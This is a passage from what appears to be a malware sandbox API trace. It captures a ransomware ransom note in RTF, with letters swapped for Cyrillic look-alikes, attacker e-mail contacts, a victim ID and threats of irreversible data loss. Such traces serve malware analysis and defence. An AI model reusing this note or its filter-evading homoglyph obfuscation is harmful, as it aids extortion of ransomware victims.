d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 